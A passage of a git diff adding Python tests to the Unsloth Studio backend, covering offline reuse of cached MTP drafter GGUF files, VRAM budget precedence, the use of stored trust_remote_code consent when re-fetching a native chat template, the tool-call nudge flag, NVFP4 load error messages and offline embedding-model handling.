+    b._download_companion_gguf = _fake_companion
+    b._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF")
+
+    repo_files = [
+        "MTP/mtp-gemma-4-E4B-it-BF16.gguf",
+        "MTP/mtp-gemma-4-E4B-it-Q4_0.gguf",
+        "MTP/mtp-gemma-4-E4B-it-Q8_0.gguf",
+        "gemma-4-E4B-it-qat-UD-Q2_K_XL.gguf",
+        "mmproj-F16.gguf",
+        "mtp-gemma-4-E4B-it.gguf",
+    ]
+    assert captured["pick"](repo_files) == "mtp-gemma-4-E4B-it.gguf"
+
+
+# ── Reuse an on-disk drafter offline; fetch fresh online ─────────────
+
+
+def _seed_snapshot(tmp_path, names):
+    snap = tmp_path / "snap"
+    for rel in names:
+        f = snap / rel
+        f.parent.mkdir(parents = True, exist_ok = True)
+        f.write_bytes(b"x")
+    return snap
+
+
+def test_download_mtp_reuses_cached_root_drafter_offline(tmp_path, monkeypatch):
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    snap = _seed_snapshot(
+        tmp_path,
+        [
+            "gemma-4-E4B-it-qat-UD-Q2_K_XL.gguf",
+            "mtp-gemma-4-E4B-it.gguf",
+            "MTP/mtp-gemma-4-E4B-it-BF16.gguf",
+            "mmproj-F16.gguf",
+        ],
+    )
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap])
+
+    got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF")
+    assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it.gguf"
+
+
+def test_download_mtp_reuses_cached_subdir_copy_when_no_root_offline(tmp_path, monkeypatch):
+    # Pre-fix build may have fetched only the MTP/ copy; reuse it offline.
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    snap = _seed_snapshot(
+        tmp_path,
+        [
+            "gemma-4-E4B-it-qat-UD-Q2_K_XL.gguf",
+            "MTP/mtp-gemma-4-E4B-it-BF16.gguf",
+        ],
+    )
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap])
+
+    got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF")
+    assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it-BF16.gguf"
+
+
+def test_download_mtp_prefers_root_across_snapshots_offline(tmp_path, monkeypatch):
+    # A newer partial snapshot holds only the MTP/ copy; an older one has the
+    # root. Must still return the small root, not the large subdir copy.
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    snap_partial = _seed_snapshot(tmp_path / "new", ["MTP/mtp-gemma-4-E4B-it-BF16.gguf"])
+    snap_full = _seed_snapshot(tmp_path / "old", ["mtp-gemma-4-E4B-it.gguf"])
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap_partial, snap_full])
+
+    got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF")
+    assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it.gguf"
+
+
+def test_download_mtp_reuse_follows_snapshot_order_offline(tmp_path, monkeypatch):
+    # Two snapshots both hold a root drafter; newest-first order must win so a
+    # fresh main GGUF is not paired with a stale drafter revision.
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    newest = _seed_snapshot(tmp_path / "newest", ["mtp-gemma-4-E4B-it.gguf"])
+    oldest = _seed_snapshot(tmp_path / "oldest", ["mtp-gemma-4-E4B-it.gguf"])
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [newest, oldest])
+
+    got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF")
+    assert got is not None and Path(got).parent.parent.name == "newest"
+
+
+def test_download_mtp_prefers_main_snapshot_offline(tmp_path, monkeypatch):
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    snapshots = tmp_path / "models--unsloth--gemma" / "snapshots"
+    old = snapshots / "old"
+    new = snapshots / "new"
+    old.mkdir(parents = True)
+    new.mkdir(parents = True)
+    main = old / "gemma-UD-Q4_K_XL.gguf"
+    old_drafter = old / "mtp-gemma.gguf"
+    new_drafter = new / "mtp-gemma.gguf"
+    main.write_bytes(b"main")
+    old_drafter.write_bytes(b"old")
+    new_drafter.write_bytes(b"new")
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda _repo: [new, old])
+
+    got = LlamaCppBackend()._download_mtp(
+        hf_repo = "unsloth/gemma-GGUF",
+        near_path = str(main),
+    )
+
+    assert got == str(old_drafter)
+
+
+def test_download_mtp_online_skips_cache_reuse(tmp_path, monkeypatch):
+    # Online, do not reuse a cached copy: go to the download path so a changed
+    # drafter is refetched (hf_hub_download checks the current revision).
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    snap = _seed_snapshot(tmp_path, ["mtp-gemma-4-E4B-it.gguf"])
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap])
+
+    reached = {}
+
+    def _fake_companion(
+        *,
+        hf_repo,
+        hf_token,
+        pick,
+        label,
+        cancel_event = None,
+        near_path = None,
+    ):
+        reached["hit"] = True
+        return None
+
+    b = LlamaCppBackend()
+    b._download_companion_gguf = _fake_companion
+    assert b._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") is None
+    assert reached.get("hit") is True
diff --git a/studio/backend/tests/test_mtp_vram_budget.py b/studio/backend/tests/test_mtp_vram_budget.py
index 0efbbf596d..694d60cfc6 100644
--- a/studio/backend/tests/test_mtp_vram_budget.py
+++ b/studio/backend/tests/test_mtp_vram_budget.py
@@ -502,7 +502,7 @@ class TestExtraArgsMtpDetection:
         assert _extra_args_mtp_draft_path([], env = dict(os.environ)) == "/large.gguf"
 
     def test_load_model_gates_env_spec_type_on_off_mode(self):
-        # LLAMA_ARG_SPEC_TYPE only reaches the child when Studio emits no spec
+        # LLAMA_ARG_SPEC_TYPE only reaches the child when Unsloth emits no spec
         # flag (UI mode "off", no user --spec-type); otherwise the emitted
         # --spec-type/--spec-default overrides the env, so the reserve must not
         # consult it or a stale MTP env over-reserves (Finding F3). Whitespace-
@@ -530,8 +530,8 @@ class TestExtraArgsMtpDetection:
 
     def test_load_model_drafter_budget_precedence(self):
         # The budget sizes the drafter the launch actually loads: CLI extras win,
-        # then Studio's emitted mtp_draft_path (overrides LLAMA_ARG_SPEC_DRAFT_MODEL),
-        # then the env drafter -- not the env before Studio's (reviewer.py R3).
+        # then Unsloth's emitted mtp_draft_path (overrides LLAMA_ARG_SPEC_DRAFT_MODEL),
+        # then the env drafter -- not the env before Unsloth's (reviewer.py R3).
         compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
         assert "_cli_draft_for_budget=_extra_args_mtp_draft_path(extra_args,env={})" in compact
         assert "_env_draft_for_budget=_extra_args_mtp_draft_path([],env=os.environ)" in compact
@@ -732,7 +732,7 @@ class TestExtraArgsMtpDetection:
         assert _extra_args_n_ubatch([], env = {"LLAMA_ARG_UBATCH": "notint"}) is None
 
     def test_env_main_cache_type_for_budget(self):
-        # The child inherits LLAMA_ARG_CACHE_TYPE_K/_V, but Studio emits no
+        # The child inherits LLAMA_ARG_CACHE_TYPE_K/_V, but Unsloth emits no
         # --cache-type when neither param nor extras set it -> a heavier env
         # main KV (f32) must be adopted so the reserve matches the child.
         assert _env_main_cache_type_for_budget(env = {}) is None
@@ -765,7 +765,7 @@ class TestExtraArgsMtpDetection:
         assert "cache_type_kv=_env_main_cache_type_for_budget()" in compact
 
     def test_env_split_mode_is_tensor(self):
-        # The child inherits LLAMA_ARG_SPLIT_MODE, but Studio emits --split-mode
+        # The child inherits LLAMA_ARG_SPLIT_MODE, but Unsloth emits --split-mode
         # only on its tensor branch -> a tensor env must flip the budget so the
         # heavier per-device compute buffer is reserved (not layer overhead).
         assert _env_split_mode_is_tensor(env = {}) is False
@@ -918,7 +918,7 @@ class TestExtraArgsMtpDetection:
         # Cluster A: when the final decision is layer split, an inherited
         # non-layer LLAMA_ARG_SPLIT_MODE (and paired LLAMA_ARG_TENSOR_SPLIT) must
         # be popped from the child env so the child cannot run tensor/row/none
-        # against Studio's layer budget. Whitespace-stripped for formatter.
+        # against Unsloth's layer budget. Whitespace-stripped for formatter.
         compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
         assert 'env.get("LLAMA_ARG_SPLIT_MODE")' in compact
         assert '_inherited_sm!="layer"' in compact
@@ -936,10 +936,10 @@ class TestExtraArgsMtpDetection:
         assert "env.pop(_ct_var,None)" in compact
 
     def test_load_model_clears_tensor_split_env_in_tensor_mode(self):
-        # review run3 #2: Studio owns the tensor split. When it emits no
+        # review run3 #2: Unsloth owns the tensor split. When it emits no
         # --tensor-split (even split), a stale inherited LLAMA_ARG_TENSOR_SPLIT must
         # be cleared in the TENSOR branch too (not just the layer downgrade), or the
-        # child runs a split Studio didn't budget. The else (tensor) branch pops it.
+        # child runs a split Unsloth didn't budget. The else (tensor) branch pops it.
         src = inspect.getsource(LlamaCppBackend.load_model)
         compact = "".join(src.split())
         # appears in both the layer branch and the tensor branch.
@@ -1005,14 +1005,14 @@ def test_qwen36_class_regression_picks_lower_ctx_with_mtp():
 
 def test_mtp_draft_budget_prefers_user_extras_drafter():
     # A user --model-draft in extras is appended last and wins at launch, so the
-    # VRAM budget must size it first; then Studio's emitted mtp_draft_path (which
+    # VRAM budget must size it first; then Unsloth's emitted mtp_draft_path (which
     # overrides LLAMA_ARG_SPEC_DRAFT_MODEL), then the env drafter (load_model is too
     # entangled to drive end-to-end; assert the precedence at the source level).
     # Whitespace-stripped so the check survives any formatter line-wrapping.
     compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
-    # CLI extras sized first (env={} so the env doesn't pre-empt Studio's drafter).
+    # CLI extras sized first (env={} so the env doesn't pre-empt Unsloth's drafter).
     assert "_cli_draft_for_budget=_extra_args_mtp_draft_path(extra_args,env={})" in compact
-    # Order: CLI extras, then Studio's mtp_draft_path, then the env drafter.
+    # Order: CLI extras, then Unsloth's mtp_draft_path, then the env drafter.
     assert "_cli_draft_for_budgetor_studio_draft_for_budgetor_env_draft_for_budget" in compact
-    # The env must not be consulted before Studio's resolved drafter.
+    # The env must not be consulted before Unsloth's resolved drafter.
     assert "_extra_args_mtp_draft_path(extra_args)ormtp_draft_path" not in compact
diff --git a/studio/backend/tests/test_multimodal_document.py b/studio/backend/tests/test_multimodal_document.py
index 5cd7c876cc..b347c4aef8 100644
--- a/studio/backend/tests/test_multimodal_document.py
+++ b/studio/backend/tests/test_multimodal_document.py
@@ -3,7 +3,7 @@
 
 """Tests for PDF / document attachment translation on external providers.
 
-Studio adds a normalised `input_document` content part on
+Unsloth adds a normalised `input_document` content part on
 ChatCompletionRequest so the frontend needn't know the per-provider
 attachment shape:
 
diff --git a/studio/backend/tests/test_native_template_trust_remote_code.py b/studio/backend/tests/test_native_template_trust_remote_code.py
new file mode 100644
index 0000000000..60dc80f64c
--- /dev/null
+++ b/studio/backend/tests/test_native_template_trust_remote_code.py
@@ -0,0 +1,176 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression tests for trust_remote_code in the native-template fallback.
+
+``render_native_template`` re-fetches a model's native chat template from its
+repo when an Unsloth override template (mistral, gemma-4) dropped the tools
+schema. For a model loaded with ``trust_remote_code=True`` whose tokenizer repo
+carries custom code, the secondary ``AutoTokenizer.from_pretrained`` must re-use
+that same consent or transformers raises (it requires ``trust_remote_code`` to
+instantiate a custom tokenizer class), the ``except`` swallows it, and the
+request silently keeps the tool-dropping prompt even though the user already
+consented to remote code for the model load.
+
+These tests pin that the stored ``trust_remote_code`` is threaded to the reload,
+that the reload is skipped (returns ``None`` without executing code) when no
+consent is stored, and that both backend ``model_info`` dicts persist the flag at
+load time so the read lands on a value ``load_model`` actually set.
+"""
+
+from __future__ import annotations
+
+import importlib.util
+import sys
+from pathlib import Path
+
+import pytest
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# ``chat_template_helpers`` is dependency-light (copy / logging / typing, with the
+# transformers import deferred inside the function). Load it directly so the test
+# runs without importing the heavy ``core.inference`` package (unsloth / torch).
+_HELPERS_PATH = Path(_BACKEND_DIR) / "core" / "inference" / "chat_template_helpers.py"
+_spec = importlib.util.spec_from_file_location("_native_tpl_trc_test", _HELPERS_PATH)
+chat_template_helpers = importlib.util.module_from_spec(_spec)
+_spec.loader.exec_module(chat_template_helpers)
+
+render_native_template = chat_template_helpers.render_native_template
+
+
+# A native template that emits a tools section only when tools are provided, so the
+# with-tools vs no-tools render differs and ``render_native_template`` accepts it.
+_NATIVE_TEMPLATE = (
+    "{% for m in messages %}{{ m['role'] }}: {{ m['content'] }}\n{% endfor %}"
+    "{% if tools %}[AVAILABLE_TOOLS]{{ tools }}[/AVAILABLE_TOOLS]\n{% endif %}"
+    "{% if add_generation_prompt %}assistant:{% endif %}"
+)
+
+_MESSAGES = [{"role": "user", "content": "what is the weather"}]
+_TOOLS = [{"type": "function", "function": {"name": "get_weather"}}]
+
+
+class _JinjaTokenizer:
+    """Minimal tokenizer whose ``apply_chat_template`` renders ``self.chat_template``.
+
+    Stands in for the live model tokenizer that ``render_native_template`` shallow-
+    copies and re-points at the native template before rendering.
+    """
+
+    def __init__(self, chat_template):
+        self.chat_template = chat_template
+
+    def apply_chat_template(
+        self,
+        messages,
+        tokenize = False,
+        add_generation_prompt = True,
+        tools = None,
+        **kwargs,
+    ):
+        from jinja2 import BaseLoader, Environment
+        env = Environment(loader = BaseLoader())
+        return env.from_string(self.chat_template).render(
+            messages = messages,
+            tools = tools,
+            add_generation_prompt = add_generation_prompt,
+        )
+
+
+def _install_custom_code_tokenizer(monkeypatch):
+    """Patch ``AutoTokenizer.from_pretrained`` to mimic a custom-code repo: raise
+    unless ``trust_remote_code`` is truthy, else return a tokenizer carrying the
+    native template. Records the ``trust_remote_code`` it was called with."""
+    pytest.importorskip("jinja2")
+    from transformers import AutoTokenizer
+
+    calls = {}
+
+    def fake_from_pretrained(
+        model_id,
+        *args,
+        trust_remote_code = False,
+        token = None,
+        **kwargs,
+    ):
+        calls["trust_remote_code"] = trust_remote_code
+        calls["model_id"] = model_id
+        calls["token"] = token
+        if not trust_remote_code:
+            # Mirrors transformers.dynamic_module_utils.resolve_trust_remote_code:
+            # has_remote_code and not has_local_code and not trust_remote_code -> ValueError.
+            raise ValueError(
+                f"The repository {model_id} contains custom code which must be executed "
+                "to correctly load the model. Please pass the argument "
+                "`trust_remote_code=True` to allow custom code to be run."
+            )
+        return _JinjaTokenizer(_NATIVE_TEMPLATE)
+
+    monkeypatch.setattr(AutoTokenizer, "from_pretrained", staticmethod(fake_from_pretrained))
+    return calls
+
+
+def _model_info(trust_remote_code):
+    return {
+        "native_chat_template": None,  # force the repo reload path
+        "base_model": None,  # non-LoRA: template_source == active_model_name
+        "trust_remote_code": trust_remote_code,
+        # Live tokenizer that gets shallow-copied + re-pointed at the native template.
+        "tokenizer": _JinjaTokenizer("OVERRIDE-THAT-DROPS-TOOLS"),
+    }
+
+
+def test_native_reload_passes_stored_trust_remote_code(monkeypatch):
+    """With ``trust_remote_code`` stored on ``model_info`` the custom-code reload
+    succeeds and the tools-advertising native prompt is returned. This FAILS before
+    the fix (reload omits the flag, raises, is swallowed, returns None)."""
+    calls = _install_custom_code_tokenizer(monkeypatch)
+    model_info = _model_info(trust_remote_code = True)
+
+    out = render_native_template(
+        model_info = model_info,
+        active_model_name = "acme/custom-tokenizer-model",
+        messages = _MESSAGES,
+        tools = _TOOLS,
+    )
+
+    assert out is not None, "native fallback should render the tools prompt with consent"
+    assert "[AVAILABLE_TOOLS]" in out
+    assert "get_weather" in out
+    assert calls["trust_remote_code"] is True  # the stored consent was threaded through
+    # A successful fetch is cached so the next tool turn skips the reload.
+    assert model_info["native_chat_template"] == _NATIVE_TEMPLATE
+
+
+def test_native_reload_without_consent_returns_none(monkeypatch):
+    """Without stored consent the custom-code reload raises, is swallowed, and
+    ``render_native_template`` returns None (no unconsented code execution). Proves
+    the stored flag -- not a hard-coded True -- drives the reload."""
+    calls = _install_custom_code_tokenizer(monkeypatch)
+    model_info = _model_info(trust_remote_code = False)
+
+    out = render_native_template(
+        model_info = model_info,
+        active_model_name = "acme/custom-tokenizer-model",
+        messages = _MESSAGES,
+        tools = _TOOLS,
+    )
+
+    assert out is None
+    assert calls["trust_remote_code"] is False
+    # A failed fetch must not be cached as "no template" (would pin the tool drop).
+    assert model_info["native_chat_template"] is None
+
+
+def test_backend_model_info_persists_trust_remote_code():
+    """Both backends must store ``trust_remote_code`` on their per-model info dict so
+    ``render_native_template`` can source the consent value. Guards against the read
+    landing on a key ``load_model`` never sets (which would silently no-op the fix)."""
+    inf = (Path(_BACKEND_DIR) / "core" / "inference" / "inference.py").read_text()
+    mlx = (Path(_BACKEND_DIR) / "core" / "inference" / "mlx_inference.py").read_text()
+    assert '"trust_remote_code": trust_remote_code,' in inf
+    assert '"trust_remote_code": trust_remote_code,' in mlx
diff --git a/studio/backend/tests/test_nudge_tool_calls_wiring.py b/studio/backend/tests/test_nudge_tool_calls_wiring.py
new file mode 100644
index 0000000000..82a6543aeb
--- /dev/null
+++ b/studio/backend/tests/test_nudge_tool_calls_wiring.py
@@ -0,0 +1,99 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Wiring guard for the plan-without-action ``nudge_tool_calls`` policy.
+
+Decided policy: the re-prompt is ALWAYS ON for the Unsloth inference paths
+(safetensors, GGUF/llama_cpp, MLX) and OPT-IN for the API (/v1 OpenAI-compat +
+Anthropic-compat, controlled by the request's ``nudge_tool_calls``, default off).
+
+Mechanism (verified here without loading a model):
+
+  * every backend tool-loop entry point accepts and forwards ``nudge_tool_calls``
+    (safetensors -> ``InferenceBackend``; MLX -> ``InferenceOrchestrator``; both
+    call the shared ``run_safetensors_tool_loop``; GGUF -> ``LlamaCppBackend``);
+  * the safetensors/MLX loop gates the retry on a truthy flag (new retry ->
+    opt-in), while the GGUF loop keeps its pre-existing default-on behaviour
+    (``None`` keeps nudging) so an omitted flag never disables GGUF;
+  * the API request models default the flag to ``None`` (opt-in / off);
+  * the Unsloth-facing routes forward the request's flag, and the Unsloth frontend
+    sends ``nudge_tool_calls: true`` -- exercised behaviourally in
+    ``test_safetensors_tool_loop.py`` and ``test_llama_cpp_tool_loop.py``.
+"""
+
+import inspect
+
+from core.inference.llama_cpp import LlamaCppBackend
+from core.inference.orchestrator import InferenceOrchestrator
+from core.inference.safetensors_agentic import run_safetensors_tool_loop
+
+try:
+    # core.inference.inference imports unsloth at module scope, which requires
+    # unsloth_zoo. The dependency-light backend CI matrix job does not install
+    # it, so the safetensors InferenceBackend is folded into the checks below
+    # only when the unsloth stack is importable (local runs / full CI); the
+    # other entry points are always checked.
+    from core.inference.inference import InferenceBackend
+except ImportError:
+    InferenceBackend = None
+
+
+def _params(fn):
+    return inspect.signature(fn).parameters
+
+
+def test_shared_loop_accepts_nudge_flag():
+    assert "nudge_tool_calls" in _params(run_safetensors_tool_loop)
+
+
+def test_backends_accept_the_flag():
+    methods = [
+        InferenceOrchestrator.generate_chat_completion_with_tools,
+        LlamaCppBackend.generate_chat_completion_with_tools,
+    ]
+    if InferenceBackend is not None:  # safetensors path; needs the unsloth stack
+        methods.append(InferenceBackend.generate_chat_completion_with_tools)
+    for method in methods:
+        assert "nudge_tool_calls" in _params(method), method.__qualname__
+
+
+def test_delegating_backends_forward_the_flag_to_the_shared_loop():
+    # safetensors (in-process transformers) and MLX (parent-process orchestrator)
+    # both delegate to run_safetensors_tool_loop; GGUF runs its own in-file loop
+    # and consumes the flag directly (asserted separately by the gate test).
+    methods = [InferenceOrchestrator.generate_chat_completion_with_tools]
+    if InferenceBackend is not None:  # safetensors path; needs the unsloth stack
+        methods.append(InferenceBackend.generate_chat_completion_with_tools)
+    for method in methods:
+        src = inspect.getsource(method)
+        assert "nudge_tool_calls = nudge_tool_calls" in src, method.__qualname__
+
+
+def test_safetensors_loop_is_opt_in_while_gguf_stays_default_on():
+    # Safetensors/MLX: the retry is new here, so it requires a truthy flag.
+    sf_src = inspect.getsource(run_safetensors_tool_loop)
+    assert "and nudge_tool_calls" in sf_src
+    # GGUF: pre-existing nudge must not be accidentally disabled -- an omitted
+    # (None) flag keeps nudging; only an explicit False turns it off.
+    gguf_src = inspect.getsource(LlamaCppBackend.generate_chat_completion_with_tools)
+    assert "nudge_tool_calls is None or nudge_tool_calls" in gguf_src
+
+
+def test_api_request_models_default_the_flag_off():
+    from models.inference import AnthropicMessagesRequest, ChatCompletionRequest
+    for model in (ChatCompletionRequest, AnthropicMessagesRequest):
+        field = model.model_fields["nudge_tool_calls"]
+        assert field.default is None, model.__name__
+
+
+def test_studio_routes_forward_the_request_flag():
+    # The Unsloth chat frontend posts to /v1/chat/completions and /v1/messages
+    # with nudge_tool_calls=true; the route handlers forward the request value
+    # (external API clients that omit it fall back to the opt-in default).
+    from routes import inference as routes_inference
+    for handler in (
+        routes_inference.openai_chat_completions,
+        routes_inference.anthropic_messages,
+    ):
+        src = inspect.getsource(handler)
+        assert "nudge_tool_calls = payload.nudge_tool_calls" in src, handler.__name__
diff --git a/studio/backend/tests/test_nvfp4_load_error_message.py b/studio/backend/tests/test_nvfp4_load_error_message.py
new file mode 100644
index 0000000000..4a1195fc8a
--- /dev/null
+++ b/studio/backend/tests/test_nvfp4_load_error_message.py
@@ -0,0 +1,154 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""NVFP4 load failures should not expose verbose MLX quantization metadata."""
+
+import asyncio
+import importlib.util
+from pathlib import Path
+from unittest.mock import MagicMock, patch
+
+import pytest
+from fastapi import HTTPException
+
+from models.inference import LoadRequest, ValidateModelRequest
+
+_BACKEND_ROOT = Path(__file__).resolve().parent.parent
+
+
+def _load_route_module():
+    spec = importlib.util.spec_from_file_location(
+        "inference_route_nvfp4_error",
+        _BACKEND_ROOT / "routes/inference.py",
+    )
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    return module
+
+
+def _load_failure(
+    message: str,
+    exception_type: type[Exception] = RuntimeError,
+    native: bool = False,
+) -> HTTPException:
+    inference_route = _load_route_module()
+    model_path = "unsloth/Qwen3.6-35B-A3B-NVFP4-Fast"
+    model_label = "Qwen3.6-35B-A3B-NVFP4-Fast" if native else model_path
+    request = LoadRequest(model_path = model_path)
+    backend = MagicMock(active_model_name = None)
+    with (
+        patch.object(
+            inference_route,
+            "_resolve_model_identifier_for_request",
+            return_value = (model_path, model_label, native),
+        ),
+        patch.object(
+            inference_route,
+            "resolve_effective_chat_template_override",
+            return_value = None,
+        ),
+        patch.object(inference_route, "get_inference_backend", return_value = backend),
+        patch.object(inference_route, "get_llama_cpp_backend", return_value = MagicMock()),
+        patch.object(
+            inference_route.ModelConfig,
+            "from_identifier",
+            side_effect = exception_type(message),
+        ),
+        pytest.raises(HTTPException) as exc,
+    ):
+        asyncio.run(inference_route.load_model(request, MagicMock(), current_subject = "test-user"))
+    return exc.value
+
+
+def _validation_failure(
+    message: str,
+    exception_type: type[Exception] = RuntimeError,
+    native: bool = False,
+) -> HTTPException:
+    inference_route = _load_route_module()
+    model_path = "unsloth/Qwen3.6-35B-A3B-NVFP4-Fast"
+    model_label = "Qwen3.6-35B-A3B-NVFP4-Fast" if native else model_path
+    request = ValidateModelRequest(model_path = model_path)
+    with (
+        patch.object(
+            inference_route,
+            "_resolve_model_identifier_for_request",
+            return_value = (model_path, model_label, native),
+        ),
+        patch.object(
+            inference_route.ModelConfig,
+            "from_identifier",
+            side_effect = exception_type(message),
+        ),
+        pytest.raises(HTTPException) as exc,
+    ):
+        asyncio.run(inference_route.validate_model(request, current_subject = "test-user"))
+    return exc.value
+
+
+@pytest.mark.parametrize("exception_type", [Exception, RuntimeError, ValueError])
+@pytest.mark.parametrize("native", [False, True])
+def test_nvfp4_mlx_metadata_error_is_replaced_with_short_message(exception_type, native):
+    error = _load_failure(
+        "Unsloth: 'unsloth/Qwen3.6-35B-A3B-NVFP4-Fast' has per-module MLX "
+        "quantization metadata {'config_groups': {'group_0': {'format': "
+        "'float-quantized'}, 'group_1': {'format': 'nvfp4-pack-quantized'}}}",
+        exception_type = exception_type,
+        native = native,
+    )
+
+    assert error.status_code == 500
+    assert error.detail == (
+        "We are working on supporting NVFP4 inference. For now it is not supported"
+    )
+    assert "quantization metadata" not in error.detail
+
+
+def test_unrelated_load_error_keeps_existing_message():
+    error = _load_failure("Network connection timed out")
+
+    assert error.status_code == 500
+    assert error.detail == "Failed to load model: Network connection timed out"
+
+
+@pytest.mark.parametrize("native", [False, True])
+def test_unrelated_value_error_keeps_existing_message(native):
+    error = _load_failure("Invalid gpu_ids [99]", exception_type = ValueError, native = native)
+
+    assert error.status_code == 400
+    assert error.detail == "Invalid gpu_ids [99]"
+
+
+@pytest.mark.parametrize("exception_type", [Exception, RuntimeError, ValueError])
+@pytest.mark.parametrize("native", [False, True])
+def test_nvfp4_validation_error_is_replaced_with_short_message(exception_type, native):
+    error = _validation_failure(
+        "Unsloth: 'unsloth/Qwen3.6-35B-A3B-NVFP4-Fast' has per-module MLX "
+        "quantization metadata {'config_groups': {'group_0': {'format': "
+        "'float-quantized'}, 'group_1': {'format': 'nvfp4-pack-quantized'}}}",
+        exception_type = exception_type,
+        native = native,
+    )
+
+    assert error.status_code == 400
+    assert error.detail == (
+        "We are working on supporting NVFP4 inference. For now it is not supported"
+    )
+    assert "quantization metadata" not in error.detail
+
+
+@pytest.mark.parametrize(
+    ("native", "expected_detail"),
+    [
+        (False, "Network connection timed out"),
+        (
+            True,
+            "Invalid native model Qwen3.6-35B-A3B-NVFP4-Fast: Network connection timed out",
+        ),
+    ],
+)
+def test_unrelated_validation_error_keeps_existing_message(native, expected_detail):
+    error = _validation_failure("Network connection timed out", native = native)
+
+    assert error.status_code == 400
+    assert error.detail == expected_detail
diff --git a/studio/backend/tests/test_offline_embedding_minimal.py b/studio/backend/tests/test_offline_embedding_minimal.py
new file mode 100644
index 0000000000..7ff580c36d
--- /dev/null
+++ b/studio/backend/tests/test_offline_embedding_minimal.py
@@ -0,0 +1,598 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Offline RAG embedding-model handling (issue #6817).
+
+Offline the studio must never call the Hub (a DNS-dead session hangs on retries). Using a fake
+HF cache under a temp HF_HUB_CACHE, assert that offline: is_embedding_model classifies from the
+cached modules.json without the Hub; the file-security gate fails CLOSED on an unscanned pickle
+weight with no safetensors alternative and allows an inert cache; the embedder threads
+local_files_only into the load. Online behavior is unchanged (bounded timeout + cache fallback).
+"""
+
+import sys
+import types
+from pathlib import Path
+from types import SimpleNamespace
+from unittest.mock import patch
+
+import pytest
+
+from utils.security import evaluate_file_security
+from utils.utils import (
+    hf_cache_snapshot_dir,
+    hf_cache_snapshot_is_loadable,
+    hf_env_offline,
+    st_repo_id_candidates,
+)
+
+# Minimal sentence-transformers modules.json (the marker the gate keys on).
+MODULES_JSON = (
+    '[{"idx": 0, "name": "0", "path": "", "type": "sentence_transformers.models.Transformer"}]'
+)
+
+
+def _modules_json(*paths):
+    """modules.json listing one Transformer module per path (a load root)."""
+    import json
+    return json.dumps(
+        [
+            {
+                "idx": i,
+                "name": str(i),
+                "path": p,
+                "type": "sentence_transformers.models.Transformer",
+            }
+            for i, p in enumerate(paths)
+        ]
+    )
+
+
+_COMMIT = "0123456789abcdef0123456789abcdef01234567"
+
+
+def _make_cache(
+    root,
+    repo_id,
+    files,
+    commit = _COMMIT,
+):
+    """Build a canonical HF-cache snapshot (refs/main + snapshots/<commit>/) for repo_id under
+    root from {relpath: contents}; returns the snapshot dir."""
+    from huggingface_hub.file_download import repo_folder_name
+
+    repo_dir = Path(root) / repo_folder_name(repo_id = repo_id, repo_type = "model")
+    (repo_dir / "refs").mkdir(parents = True, exist_ok = True)
+    (repo_dir / "refs" / "main").write_text(commit)
+    snapshot = repo_dir / "snapshots" / commit
+    snapshot.mkdir(parents = True, exist_ok = True)
+    for rel, contents in files.items():
+        path = snapshot / rel
+        path.parent.mkdir(parents = True, exist_ok = True)
+        path.write_text(contents)
+    return snapshot
+
+
+def _no_network():
+    """Patch model_info to fail loudly if any offline path reaches the network."""
+    return patch("huggingface_hub.model_info", side_effect = AssertionError("hit the network"))
+
+
+def _is_embedding_model(*args, **kwargs):
+    from utils.models.model_config import is_embedding_model
+    return is_embedding_model(*args, **kwargs)
+
+
+@pytest.fixture
+def hf_cache(tmp_path, monkeypatch):
+    """Point the HF cache at a fresh temp dir.
+
+    get_hf_cache_paths() reads an import-time env snapshot, not live os.environ,
